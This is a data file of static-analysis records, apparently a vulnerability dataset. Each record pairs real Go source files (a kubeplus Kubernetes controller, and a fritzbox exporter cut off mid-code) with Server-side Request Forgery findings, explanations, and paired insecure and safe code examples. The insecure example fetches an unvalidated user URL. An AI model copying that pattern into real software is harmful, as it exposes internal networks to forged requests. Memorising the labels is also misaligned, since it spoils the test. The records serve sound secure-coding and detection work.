"d8d23fe7c4eef424f32fd4b2060bee2566a1fc9b57453718ea3bf8a9c5a2e17c", "license": {"spdx": ["Apache-2.0"], "repo": "AlexRogalskiy/kubeplus", "path": "platform-operator/platformcontroller.go", "repo_head_hexsha": "eba34118cf721391abd9f97196bbfaa85c6f5079", "stack_hexsha": "057e71e8a9f6c163ea9647ab9415248f6f6c01dd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 642, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"strconv\"\n\t\"strings\"\n\n\t_ \"github.com/lib/pq\"\n\t\"net/http\"\n\t\"net/url\"\n\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/client-go/kubernetes\"\n apiextensionsv1beta1 \"k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1\"\n\n\t\"github.com/golang/glog\"\n\tcorev1 \"k8s.io/api/core/v1\"\n\n\t\"k8s.io/apimachinery/pkg/api/errors\"\n\t\"k8s.io/apimachinery/pkg/util/runtime\"\n\t\"k8s.io/apimachinery/pkg/util/wait\"\n\tkubeinformers \"k8s.io/client-go/informers\"\n\t\"k8s.io/client-go/kubernetes/scheme\"\n\ttypedcorev1 \"k8s.io/client-go/kubernetes/typed/core/v1\"\n\tappslisters \"k8s.io/client-go/listers/apps/v1\"\n\t\"k8s.io/client-go/tools/cache\"\n\t\"k8s.io/client-go/tools/record\"\n\t\"k8s.io/client-go/util/workqueue\"\n\n\tplatformworkflowv1alpha1 \"github.com/cloud-ark/kubeplus/platform-operator/pkg/apis/workflowcontroller/v1alpha1\"\n\tclientset \"github.com/cloud-ark/kubeplus/platform-operator/pkg/client/clientset/versioned\"\n\tplatformstackscheme \"github.com/cloud-ark/kubeplus/platform-operator/pkg/client/clientset/versioned/scheme\"\n\tinformers \"github.com/cloud-ark/kubeplus/platform-operator/pkg/client/informers/externalversions\"\n\tlisters \"github.com/cloud-ark/kubeplus/platform-operator/pkg/client/listers/workflowcontroller/v1alpha1\"\n\n\tapiextensionsclientset \"k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset/typed/apiextensions/v1beta1\"\n\n\t\"k8s.io/client-go/rest\"\n)\n\nconst controllerAgentName = \"platformstack-controller\"\n\nconst (\n\t// SuccessSynced is used as part of the Event 'reason' when PlatformStack is synced\n\tSuccessSynced = \"Synced\"\n\t// ErrResourceExists is used as part of the Event 'reason' when a Foo fails\n\t// to sync due to a Deployment of the same name already existing.\n\tErrResourceExists = \"ErrResourceExists\"\n\n\t// MessageResourceExists is the message used for Events when a resource\n\t// fails to sync due to a Deployment already existing\n\tMessageResourceExists = \"Resource %q already exists and is not managed by PlatformStack\"\n\t// MessageResourceSynced is the message used for an Event fired when a Foo\n\t// is synced successfully\n\tMessageResourceSynced = \"PlatformStack synced successfully\"\n\n\t// Annotations to put on Consumer CRDs.\n\tCREATED_BY_KEY = \"created-by\"\n\tCREATED_BY_VALUE = \"kubeplus\"\n\tHELMER_HOST = \"localhost\"\n\tHELMER_PORT = \"8090\"\n)\n\n// Controller is the controller implementation for Foo resources\ntype Controller struct {\n\t// kubeclientset is a standard kubernetes clientset\n\tkubeclientset kubernetes.Interface\n\t// sampleclientset is a clientset for our own API group\n\tplatformStackclientset clientset.Interface\n\n\tdeploymentsLister appslisters.DeploymentLister\n\tdeploymentsSynced cache.InformerSynced\n\tplatformStacksLister listers.ResourceCompositionLister\n\tplatformStacksSynced cache.InformerSynced\n\n\t// workqueue is a rate limited work queue. This is used to queue work to be\n\t// processed instead of performing it as soon as a change happens. This\n\t// means we can ensure we only process a fixed amount of resources at a\n\t// time, and makes it easy to ensure we are never processing the same item\n\t// simultaneously in two different workers.\n\tworkqueue workqueue.RateLimitingInterface\n\t// recorder is an event recorder for recording Event resources to the\n\t// Kubernetes API.\n\trecorder record.EventRecorder\n}\n\n// NewController returns a new sample controller\nfunc NewPlatformController(\n\tkubeclientset kubernetes.Interface,\n\tplatformStackclientset clientset.Interface,\n\tkubeInformerFactory kubeinformers.SharedInformerFactory,\n\tplatformstackInformerFactory informers.SharedInformerFactory) *Controller {\n\n\t// obtain references to shared index informers for the Deployment and PlatformStack\n\t// types.\n\tdeploymentInformer := kubeInformerFactory.Apps().V1().Deployments()\n\tplatformStackInformer := platformstackInformerFactory.Workflows().V1alpha1().ResourceCompositions()\n\n\t// Create event broadcaster\n\t// Add platformstack-controller types to the default Kubernetes Scheme so Events can be\n\t// logged for platformstack-controller types.\n\tplatformstackscheme.AddToScheme(scheme.Scheme)\n\tglog.V(4).Info(\"Creating event broadcaster\")\n\teventBroadcaster := record.NewBroadcaster()\n\teventBroadcaster.StartLogging(glog.Infof)\n\teventBroadcaster.StartRecordingToSink(&typedcorev1.EventSinkImpl{Interface: kubeclientset.CoreV1().Events(\"\")})\n\trecorder := eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: controllerAgentName})\n\n\tcontroller := &Controller{\n\t\tkubeclientset: kubeclientset,\n\t\tplatformStackclientset: platformStackclientset,\n\t\tdeploymentsLister: deploymentInformer.Lister(),\n\t\tdeploymentsSynced: deploymentInformer.Informer().HasSynced,\n\t\tplatformStacksLister: platformStackInformer.Lister(),\n\t\tplatformStacksSynced: platformStackInformer.Informer().HasSynced,\n\t\tworkqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \"PlatformStacks\"),\n\t\trecorder: recorder,\n\t}\n\n\tglog.Info(\"Setting up event handlers\")\n\t// Set up an event handler for when Foo resources change\n\tplatformStackInformer.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{\n\t\tAddFunc: controller.enqueueFoo,\n\t\tUpdateFunc: func(old, new interface{}) {\n\t\t\tnewDepl := new.(*platformworkflowv1alpha1.ResourceComposition)\n\t\t\toldDepl := old.(*platformworkflowv1alpha1.ResourceComposition)\n\t\t\t//fmt.Println(\"New Version:%s\", newDepl.ResourceVersion)\n\t\t\t//fmt.Println(\"Old Version:%s\", oldDepl.ResourceVersion)\n\t\t\tif newDepl.ResourceVersion == oldDepl.ResourceVersion {\n\t\t\t\t// Periodic resync will send update events for all known Deployments.\n\t\t\t\t// Two different versions of the same Deployment will always have different RVs.\n\t\t\t\treturn\n\t\t\t} else {\n\t\t\t\tcontroller.enqueueFoo(new)\n\t\t\t}\n\t\t},\n\t\tDeleteFunc: func(obj interface{}) {\n\t\t _, err := cache.DeletionHandlingMetaNamespaceKeyFunc(obj)\n\t\t\tif err == nil {\n\t\t\t controller.deleteFoo(obj)\n\t\t\t}\n\t\t},\n\t})\n\treturn controller\n}\n\n// Run will set up the event handlers for types we are interested in, as well\n// as syncing informer caches and starting workers. It will block until stopCh\n// is closed, at which point it will shutdown the workqueue and wait for\n// workers to finish processing their current work items.\nfunc (c *Controller) Run(threadiness int, stopCh <-chan struct{}) error {\n\tdefer runtime.HandleCrash()\n\tdefer c.workqueue.ShutDown()\n\n\t// Start the informer factories to begin populating the informer caches\n\tglog.Info(\"Starting PlatformStack controller\")\n\n\t// Wait for the caches to be synced before starting workers\n\tglog.Info(\"Waiting for informer caches to sync\")\n\tif ok := cache.WaitForCacheSync(stopCh, c.deploymentsSynced, c.platformStacksSynced); !ok {\n\t\treturn fmt.Errorf(\"failed to wait for caches to sync\")\n\t}\n\n\tglog.Info(\"Starting workers\")\n\t// Launch two workers to process Foo resources\n\tfor i := 0; i < threadiness; i++ {\n\t\tgo wait.Until(c.runWorker, time.Second, stopCh)\n\t}\n\n\tglog.Info(\"Started workers\")\n\t<-stopCh\n\tglog.Info(\"Shutting down workers\")\n\n\treturn nil\n}\n\n// runWorker is a long-running function that will continually call the\n// processNextWorkItem function in order to read and process a message on the\n// workqueue.\nfunc (c *Controller) runWorker() {\n\tfor c.processNextWorkItem() {\n\t}\n}\n\n// processNextWorkItem will read a single work item off the workqueue and\n// attempt to process it, by calling the syncHandler.\nfunc (c *Controller) processNextWorkItem() bool {\n\tobj, shutdown := c.workqueue.Get()\n\n\tif shutdown {\n\t\treturn false\n\t}\n\n\t// We wrap this block in a func so we can defer c.workqueue.Done.\n\terr := func(obj interface{}) error {\n\t\t// We call Done here so the workqueue knows we have finished\n\t\t// processing this item. We also must remember to call Forget if we\n\t\t// do not want this work item being re-queued. For example, we do\n\t\t// not call Forget if a transient error occurs, instead the item is\n\t\t// put back on the workqueue and attempted again after a back-off\n\t\t// period.\n\t\tdefer c.workqueue.Done(obj)\n\t\tvar key string\n\t\tvar ok bool\n\t\t// We expect strings to come off the workqueue. These are of the\n\t\t// form namespace/name. We do this as the delayed nature of the\n\t\t// workqueue means the items in the informer cache may actually be\n\t\t// more up to date that when the item was initially put onto the\n\t\t// workqueue.\n\t\tif key, ok = obj.(string); !ok {\n\t\t\t// As the item in the workqueue is actually invalid, we call\n\t\t\t// Forget here else we'd go into a loop of attempting to\n\t\t\t// process a work item that is invalid.\n\t\t\tc.workqueue.Forget(obj)\n\t\t\truntime.HandleError(fmt.Errorf(\"expected string in workqueue but got %#v\", obj))\n\t\t\treturn nil\n\t\t}\n\t\t// Run the syncHandler, passing it the namespace/name string of the\n\t\t// Foo resource to be synced.\n\t\tif err := c.syncHandler(key); err != nil {\n\t\t\treturn fmt.Errorf(\"error syncing '%s': %s\", key, err.Error())\n\t\t}\n\t\t// Finally, if no error occurs we Forget this item so it does not\n\t\t// get queued again until another change happens.\n\t\tc.workqueue.Forget(obj)\n\t\tglog.Infof(\"Successfully synced '%s'\", key)\n\t\treturn nil\n\t}(obj)\n\n\tif err != nil {\n\t\truntime.HandleError(err)\n\t\treturn true\n\t}\n\n\treturn true\n}\n\n// enqueueFoo takes a Foo resource and converts it into a namespace/name\n// string which is then put onto the work queue. This method should *not* be\n// passed resources of any type other than Foo.\nfunc (c *Controller) enqueueFoo(obj interface{}) {\n\tvar key string\n\tvar err error\n\tif key, err = cache.MetaNamespaceKeyFunc(obj); err != nil {\n\t\truntime.HandleError(err)\n\t\treturn\n\t}\n\tc.workqueue.AddRateLimited(key)\n}\n\n// handleObject will take any resource implementing metav1.Object and attempt\n// to find the Foo resource that 'owns' it. It does this by looking at the\n// objects metadata.ownerReferences field for an appropriate OwnerReference.\n// It then enqueues that Foo resource to be processed. If the object does not\n// have an appropriate OwnerReference, it will simply be skipped.\nfunc (c *Controller) handleObject(obj interface{}) {\n\tvar object metav1.Object\n\tvar ok bool\n\tif object, ok = obj.(metav1.Object); !ok {\n\t\ttombstone, ok := obj.(cache.DeletedFinalStateUnknown)\n\t\tif !ok {\n\t\t\truntime.HandleError(fmt.Errorf(\"error decoding object, invalid type\"))\n\t\t\treturn\n\t\t}\n\t\tobject, ok = tombstone.Obj.(metav1.Object)\n\t\tif !ok {\n\t\t\truntime.HandleError(fmt.Errorf(\"error decoding object tombstone, invalid type\"))\n\t\t\treturn\n\t\t}\n\t\tglog.V(4).Infof(\"Recovered deleted object '%s' from tombstone\", object.GetName())\n\t}\n\tglog.V(4).Infof(\"Processing object: %s\", object.GetName())\n\tif ownerRef := metav1.GetControllerOf(object); ownerRef != nil {\n\t\t// If this object is not owned by a Foo, we should not do anything more\n\t\t// with it.\n\t\tif ownerRef.Kind != \"Foo\" {\n\t\t\treturn\n\t\t}\n\n\t\tfoo, err := c.platformStacksLister.ResourceCompositions(object.GetNamespace()).Get(ownerRef.Name)\n\t\tif err != nil {\n\t\t\tglog.V(4).Infof(\"ignoring orphaned object '%s' of foo '%s'\", object.GetSelfLink(), ownerRef.Name)\n\t\t\treturn\n\t\t}\n\n\t\tc.enqueueFoo(foo)\n\t\treturn\n\t}\n}\n\n\nfunc (c *Controller) deleteFoo(obj interface{}) {\n\n\tfmt.Println(\"Inside delete Foo\")\n\n\tvar err error\n\tif _, err = cache.MetaNamespaceKeyFunc(obj); err != nil {\n\t panic(err)\n\t}\n\n\tfoo := obj.(*platformworkflowv1alpha1.ResourceComposition)\n\n\tfmt.Printf(\"JKL\\n\")\n\tfmt.Printf(\"%v\\n\", foo.Spec)\n\tnewRes := foo.Spec.NewResource\n\tfmt.Printf(\"newRes:%v\\n\", newRes)\n\n\tnamespace := foo.ObjectMeta.Namespace\n\tif namespace == \"\" {\n\t\tnamespace = \"default\"\n\t}\n\tres := newRes.Resource\n\tfmt.Printf(\"GHI - delete\\n\")\n\tfmt.Printf(\"%v\\n NS:%s\", res, namespace)\n\tkind := foo.Spec.NewResource.Resource.Kind\n\tgroup := foo.Spec.NewResource.Resource.Group\n\tversion := foo.Spec.NewResource.Resource.Version\n\tplural := foo.Spec.NewResource.Resource.Plural\n\tchartURL := foo.Spec.NewResource.ChartURL\n\tchartName := foo.Spec.NewResource.ChartName\n\tfmt.Printf(\"Kind:%s, Version:%s Group:%s, Plural:%s\\n\", kind, version, group, plural)\n\tfmt.Printf(\"ChartURL:%s, ChartName:%s\\n\", chartURL, chartName)\n\n\taction := \"delete\"\n\thandleCRD(kind, version, group, plural, action, namespace)\n\n \tresPolicySpec := foo.Spec.ResPolicy\n \t//fmt.Printf(\"ResPolicySpec:%v\\n\",resPolicySpec)\n\n\tdeleteResourcePolicy(resPolicySpec, namespace)\n\n \tresMonitorSpec := foo.Spec.ResMonitor\n \t//fmt.Printf(\"ResMonitorSpec:%v\\n\",resMonitorSpec)\n\n\tdeleteResourceMonitor(resMonitorSpec, namespace)\n\n\tc.recorder.Event(foo, corev1.EventTypeNormal, SuccessSynced, MessageResourceSynced)\n}\n\n// syncHandler compares the actual state with the desired, and attempts to\n// converge the two. It then updates the Status block of the Foo resource\n// with the current status of the resource.\nfunc (c *Controller) syncHandler(key string) error {\n\t// Convert the namespace/name string into a distinct namespace and name\n\tfmt.Printf(\"Inside syncHandler...key:%s\\n\", key)\n\tnamespace, name, err := cache.SplitMetaNamespaceKey(key)\n\tfmt.Printf(\"Inside syncHandler...Namespace:%s Name:%s\\n\", namespace, name)\n\tif err != nil {\n\t\truntime.HandleError(fmt.Errorf(\"invalid resource key: %s\", key))\n\t\treturn nil\n\t}\n\n\tif namespace == \"\" {\n\t\tnamespace = \"default\"\n\t}\n\n\t// Get the Foo resource with this namespace/name\n\tfoo, err := c.platformStacksLister.ResourceCompositions(namespace).Get(name)\n\tif err != nil {\n\t\t// The Foo resource may no longer exist, in which case we stop\n\t\t// processing.\n\t\tif errors.IsNotFound(err) {\n\t\t\truntime.HandleError(fmt.Errorf(\"platformStack '%s' in work queue no longer exists\", key))\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"ABC\\n\")\n\tfmt.Printf(\"%v\\n\", foo.Spec)\n\tnewRes := foo.Spec.NewResource\n\tfmt.Printf(\"DEF\\n\")\n\tfmt.Printf(\"%v\\n\", newRes)\n\tres := newRes.Resource\n\tfmt.Printf(\"GHI\\n\")\n\tfmt.Printf(\"%v\\n\", res)\n\tkind := foo.Spec.NewResource.Resource.Kind\n\tgroup := foo.Spec.NewResource.Resource.Group\n\tversion := foo.Spec.NewResource.Resource.Version\n\tplural := foo.Spec.NewResource.Resource.Plural\n\tchartURL := foo.Spec.NewResource.ChartURL\n\tchartName := foo.Spec.NewResource.ChartName\n\tfmt.Printf(\"Kind:%s, Version:%s Group:%s, Plural:%s\\n\", kind, version, group, plural)\n\tfmt.Printf(\"ChartURL:%s, ChartName:%s\\n\", chartURL, chartName)\n\t// Check if CRD is present or not. Create it only if it is not present.\n\taction := \"create\"\n\thandleCRD(kind, version, group, plural, action, namespace)\n\n \tresPolicySpec := foo.Spec.ResPolicy\n \tfmt.Printf(\"ResPolicySpec:%v\\n\",resPolicySpec)\n\n\t// Instantiate ResourcePolicy object\n\tcreateResourcePolicy(resPolicySpec, namespace)\n\n \tresMonitorSpec := foo.Spec.ResMonitor\n \tfmt.Printf(\"ResMonitorSpec:%v\\n\",resMonitorSpec)\n\n\t// Instantiate ResourceMonitor object\n\tcreateResourceMonitor(resMonitorSpec, namespace)\n\n\tc.recorder.Event(foo, corev1.EventTypeNormal, SuccessSynced, MessageResourceSynced)\n\treturn nil\n}\n\nfunc createResourceMonitor(resMonitorSpec interface{}, namespace string) {\n\tfmt.Println(\"Inside createResourceMonitor\")\n\tresMonitorObject := resMonitorSpec.(platformworkflowv1alpha1.ResourceMonitor)\n\t//resPolicySpecMap := resPolicySpec.(map[string]interface{})\n\n\t// Using Typed client\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tvar sampleclientset clientset.Interface\n\tsampleclientset = clientset.NewForConfigOrDie(config)\n\n\tresMonitor, err := sampleclientset.WorkflowsV1alpha1().ResourceMonitors(namespace).Create(&resMonitorObject)\n\tfmt.Printf(\"ResourceMonitor:%v\\n\", resMonitor)\n\tif err != nil {\n\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t}\n}\n\nfunc deleteResourceMonitor(resMonitorSpec interface{}, namespace string) {\t\n\tfmt.Println(\"Inside deleteResourceMonitor\")\n\tresMonitorObject := resMonitorSpec.(platformworkflowv1alpha1.ResourceMonitor)\n\tinputResMonitorName := resMonitorObject.ObjectMeta.Name\n\t/*namespace := resMonitorObject.ObjectMeta.Namespace\n\tif namespace == \"\" {\n\t\tnamespace = \"default\"\n\t}*/\n\tfmt.Printf(\"ResMonitor:%s, Namespace:%s\\n\",inputResMonitorName,namespace)\n\n\t// Using Typed client\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tvar sampleclientset clientset.Interface\n\tsampleclientset = clientset.NewForConfigOrDie(config)\n\n\tresMonList, err := sampleclientset.WorkflowsV1alpha1().ResourceMonitors(namespace).List(metav1.ListOptions{})\n\tif err != nil {\n\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t}\n\tfor _, resMon := range resMonList.Items {\n\t\tresMonName := resMon.ObjectMeta.Name\n\t\tif resMonName == inputResMonitorName {\n\t\t\tfmt.Printf(\"Deleting ResMonitor %s\\n\", resMonName)\n\t\t\terr := sampleclientset.WorkflowsV1alpha1().ResourceMonitors(namespace).Delete(resMonName, &metav1.DeleteOptions{})\n\t\t\tif err != nil {\n\t\t\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc createResourcePolicy(resPolicySpec interface{}, namespace string) {\n\tfmt.Println(\"Inside createResourcePolicy\")\n\tresPolicyObject := resPolicySpec.(platformworkflowv1alpha1.ResourcePolicy)\n\t//resPolicySpecMap := resPolicySpec.(map[string]interface{})\n\n\t// Using Typed client\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tvar sampleclientset clientset.Interface\n\tsampleclientset = clientset.NewForConfigOrDie(config)\n\n\tresPolicy, err := sampleclientset.WorkflowsV1alpha1().ResourcePolicies(namespace).Create(&resPolicyObject)\n\tfmt.Printf(\"ResourcePolicy:%v\\n\", resPolicy)\n\tif err != nil {\n\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t}\n}\n\nfunc deleteResourcePolicy(resPolicySpec interface{}, namespace string) {\t\n\tfmt.Println(\"Inside deleteResourcePolicy.\")\n\tresPolicyObject := resPolicySpec.(platformworkflowv1alpha1.ResourcePolicy)\n\tinputResPolicyName := resPolicyObject.ObjectMeta.Name\n\t/*namespace := resPolicyObject.ObjectMeta.Namespace\n\tif namespace == \"\" {\n\t\tnamespace = \"default\"\n\t}*/\n\tfmt.Printf(\"ResPolicy:%s, Namespace:%s\\n\",inputResPolicyName,namespace)\n\n\t// Using Typed client\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tvar sampleclientset clientset.Interface\n\tsampleclientset = clientset.NewForConfigOrDie(config)\n\n\tresPolicyList, err := sampleclientset.WorkflowsV1alpha1().ResourcePolicies(namespace).List(metav1.ListOptions{})\n\tif err != nil {\n\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t}\n\tfor _, resPolicy := range resPolicyList.Items {\n\t\tresPolicyName := resPolicy.ObjectMeta.Name\n\t\tif inputResPolicyName == resPolicyName {\n\t\t\tfmt.Printf(\"Deleting ResPolicy object %s\\n\", resPolicyName)\n\t\t\terr := sampleclientset.WorkflowsV1alpha1().ResourcePolicies(namespace).Delete(resPolicyName, &metav1.DeleteOptions{})\n\t\t\tif err != nil {\n\t\t\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc handleCRD(kind, version, group, plural, action, namespace string) error {\n\tfmt.Printf(\"Inside handleCRD %s\\n\", action)\n\tcfg, err := rest.InClusterConfig()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tcrdClient, _ := apiextensionsclientset.NewForConfig(cfg)\n\n\tkubePlusAnnotation := make(map[string]string)\n\tkubePlusAnnotation[CREATED_BY_KEY] = CREATED_BY_VALUE\n\n\tcrd := &apiextensionsv1beta1.CustomResourceDefinition{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: plural + \".\" + group,\n\t\t\tAnnotations: kubePlusAnnotation,\n\t\t},\n\t\tSpec: apiextensionsv1beta1.CustomResourceDefinitionSpec{\n\t\t\tGroup: group,\n\t\t\tVersion: version,\n\t\t\tNames: apiextensionsv1beta1.CustomResourceDefinitionNames{\n\t\t\t\tPlural: plural,\n\t\t\t\tKind: kind,\n\t\t\t},\n\t\t},\n\t}\n\n\tcrdPresent := false\n\tcrdList, err := crdClient.CustomResourceDefinitions().List(metav1.ListOptions{})\n\tif err != nil {\n\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t\treturn err\n\t}\n\tcrdToHandle := \"\"\n\tfor _, crd := range crdList.Items {\n\t\tcrdToHandle = crd.ObjectMeta.Name\n\t\tcrdObj, err := crdClient.CustomResourceDefinitions().Get(crdToHandle, metav1.GetOptions{})\n\t\tif err != nil {\n\t\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t\t\treturn err\n\t\t}\n\t\tgroup1 := crdObj.Spec.Group\n\t\tversion1 := crdObj.Spec.Version\n\t\t//endpoint := \"apis/\" + group + \"/\" + version\n\t\tkind1 := crdObj.Spec.Names.Kind\n\t\tplural1 := crdObj.Spec.Names.Plural\n\t\t//fmt.Printf(\"Kind:%s, Group:%s, Version:%s, Endpoint:%s, Plural:%s\\n\",kind1, group1, version1, endpoint, plural1)\n\n\t\tif group == group1 && kind == kind1 && version == version1 && plural == plural1 {\n\t\t\tcrdPresent = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !crdPresent {\n\t\tif action == \"create\" {\n\t\t\t_, err1 := crdClient.CustomResourceDefinitions().Create(crd)\n\t\t\tif err1 != nil {\n\t\t\t\tpanic(err1.Error())\n\t\t\t}\n\t\t}\n\t} else {\n\t\tfmt.Printf(\"CRD Group:%s Version:%s Kind:%s Plural:%s found.\\n\", group, version, kind, plural)\n\t\tif action == \"delete\" {\n\t\t\tdeleteCRDInstances(kind, group, version, plural, namespace)\n\t\t\terr := crdClient.CustomResourceDefinitions().Delete(crdToHandle, &metav1.DeleteOptions{})\n\t\t\tif err != nil {\n\t\t\t\tfmt.Errorf(\"Error:%s\\n\", err)\n\t\t\t\treturn err\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"CRD deleted successfully.\\n\")\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc deleteCRDInstances(kind, group, version, plural, namespace string) []byte {\n\tfmt.Printf(\"Inside deleteCRDInstances...\\n\")\n\targs := fmt.Sprintf(\"kind=%s&group=%s&version=%s&plural=%s&namespace=%s\", kind, group, version, plural, namespace)\n\t//serviceHost, servicePort := getServiceEndpoint(\"kubeplus\")\n\t//fmt.Printf(\"After getServiceEndpoint...\\n\")\n\tvar url1 string\n\turl1 = fmt.Sprintf(\"http://%s:%s/apis/kubeplus/deletecrdinstances?%s\", HELMER_HOST, HELMER_PORT, args)\n\tfmt.Printf(\"Url:%s\\n\", url1)\n\tbody := queryKubeDiscoveryService(url1)\n\treturn body\n}\n\nfunc getServiceEndpoint(servicename string) (string, string) {\n\tfmt.Printf(\"..Inside getServiceEndpoint...\\n\")\n\tnamespace := getKubePlusNamespace() // Use the namespace in which kubeplus is deployed.\n\t//discoveryService := \"discovery-service\"\n\tcfg, _ := rest.InClusterConfig()\n\tkubeClient, _ := kubernetes.NewForConfig(cfg)\n\tserviceClient := kubeClient.CoreV1().Services(namespace)\n\tdiscoveryServiceObj, _ := serviceClient.Get(servicename, metav1.GetOptions{})\n\thost := discoveryServiceObj.Spec.ClusterIP\n\tport := discoveryServiceObj.Spec.Ports[0].Port\n\tstringPort := strconv.Itoa(int(port))\n fmt.Printf(\"Host:%s, Port:%s\\n\", host, stringPort)\n\treturn host, stringPort\n}\n\nfunc getKubePlusNamespace() string {\n\tfilePath := \"/var/run/secrets/kubernetes.io/serviceaccount/namespace\"\n\tcontent, err := ioutil.ReadFile(filePath)\n if err != nil {\n \tfmt.Printf(\"Namespace file reading error:%v\\n\", err)\n }\n ns := string(content)\n ns = strings.TrimSpace(ns)\n //fmt.Printf(\"CRD Hook NS:%s\\n\", ns)\n return ns\n}\n\nfunc queryKubeDiscoveryService(url1 string) []byte {\n\tfmt.Printf(\"..inside queryKubeDiscoveryService\")\n\tu, err := url.Parse(url1)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treq, err := http.NewRequest(http.MethodGet, u.String(), nil)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Printf(\"sending request failed: %s\", err.Error())\n\t\tfmt.Println(err)\n\t}\n\tdefer resp.Body.Close()\n\tresp_body, _ := ioutil.ReadAll(resp.Body)\n\n\t//fmt.Println(resp.Status)\n\t//fmt.Println(string(resp_body))\n\t//fmt.Println(\"Exiting QueryCompositionEndpoint\")\n\treturn resp_body\n}\n\nfunc int32Ptr(i int32) *int32 { return &i }", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 638, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Parse"}}, {"lineNo": 642, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "c0c0411006ff9616bff866141ce48fec5197b53318e92cb9f53768411c8a6172", "license": {"spdx": ["Apache-2.0"], "repo": "chbmuc/fritzbox_exporter", "path": "pkg/fritzboxmetrics/fritzboxmetrics.go", "repo_head_hexsha": "8f69b0cf6a89220df2c8fb5781d10650d30a408b", "stack_hexsha": "ee387b3be029b52953c9f2f8322211c332adf251", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 115, "entireCode": "// Package fritzboxmetrics provides metrics fro the UPnP and Tr64 interface\npackage fritzboxmetrics\n\n// Copyright 2016 \n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\nimport (\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/pkg/errors\"\n)\n\n// curl http://fritz.box:49000/igddesc.xml\n// curl http://fritz.box:49000/any.xml\n// curl http://fritz.box:49000/igdconnSCPD.xml\n// curl http://fritz.box:49000/igdicfgSCPD.xml\n// curl http://fritz.box:49000/igddslSCPD.xml\n// curl http://fritz.box:49000/igd2ipv6fwcSCPD.xml\n\nconst textXML = `text/xml; charset=\"utf-8\"`\n\n// Root of the UPNP tree\ntype 